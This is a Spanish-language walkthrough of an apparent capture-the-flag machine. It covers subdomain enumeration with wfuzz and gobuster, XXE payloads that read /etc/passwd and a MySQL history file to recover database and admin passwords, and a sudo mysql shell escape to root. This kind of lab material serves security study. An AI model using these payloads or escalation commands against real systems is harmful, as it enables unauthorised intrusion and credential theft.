Hacemos el reconocimiento con nmap:
Y en el puerto 80 vemos que no hay nada aparentemente:
Pero si vemos el código fuente nos encontramos con esto:
Añadimos el dominio en el /etc/host:
Y hacemos búsqueda de subdominios:
wfuzz -c -t 200 --hl 75 -w subdomains-top1million-110000.txt -H "Host: FUZZ.ext.nyx" http://ext.nyx
O con gobuster:
gobuster vhost -u http://ext.nyx -w subdomains-top1million-110000.txt | grep -v '400'
Y tenemos el subdominio administrator:
Lo añadimos al /etc/hosts y deberíamos poder acceder a él desde el navegador:
Ponemos unas credenciales aleatorias e interceptamos con burp suite la petición, donde vemos que poder estar ante un XML External Entity:
Le ponemos el siguiente payload basándonos en el que viene por defecto:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY prueba SYSTEM "file:///etc/passwd"> ]> <details> <email> &prueba; </email> <password>1234</password> </details>
Vemos que hay un usuario llamado mysql:
Por lo que podemos intentar apuntar contra el mysql.history:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY prueba SYSTEM "file:///home/admin/.mysql_history"> ]> <details> <email> &prueba; </email> <password>1234</password> </details>
Y tenemos las siguientes credenciales:
root:r00tt00rDB
Iniciamos sesión con estas credenciales y vemos que funciona bien:
Y vemos la contraseña del usuario admin:
admin:4dminDBS3cur3P4ssw0rd123
Y con esta contraseña entramos correctamente por ssh:
Y si ejecutamos el comando sudo -l vemos cómo podemos ejecutar como sudo mysql:
Buscamos en gtfobins como explotar esto y lo hacemos, pero nos pedirá que pongamos la contraseña de la base de datos nuevamente:
sudo /usr/bin/mysql -e '\! /bin/sh' -p r00tt00rDB